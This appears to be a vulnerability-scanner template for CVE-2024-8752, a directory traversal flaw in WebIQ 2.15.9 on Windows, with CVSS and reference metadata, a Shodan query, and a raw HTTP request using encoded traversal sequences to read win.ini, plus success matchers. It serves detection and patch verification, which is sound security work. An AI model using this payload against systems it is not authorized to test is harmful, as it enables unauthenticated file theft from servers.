id: CVE-2024-8752

info:
  name: WebIQ 2.15.9 - Directory Traversal
  author: s4e-io
  severity: high
  description: |
    The Windows version of WebIQ 2.15.9 is affected by a directory traversal vulnerability that allows remote attackers to read any file on the system.
  impact: |
    Unauthenticated attackers can exploit directory traversal to read arbitrary files from the Windows system, potentially exposing sensitive configuration files, credentials, database files, and system information.
  remediation: |
    Update WebIQ to a version later than 2.15.9 to address the directory traversal vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2024-38
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8752
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-8752
    epss-score: 0.91135
    epss-percentile: 0.9966
  metadata:
    verified: true
    max-request: 1
    vendor: webiq
    product: webiq
    shodan-query: title:"WebIQ"
  tags: cve,cve2024,webiq,lfi,vkev,vuln

http:
  - raw:
      - |
        GET /.webui/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"bit app support","fonts]","extensions]")'
          - 'contains(content_type,"image/svg+xml")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502201aa8ab810af5d6eae20c79d020a3ef0daf6555be6507f2cd9d4f79b448b791c502210088a3fd8a38e17c166e9b764fffbd20349442df0868a1d42dbb79abf6b49cd92f:922c64590222798bb761d5b6d8e72950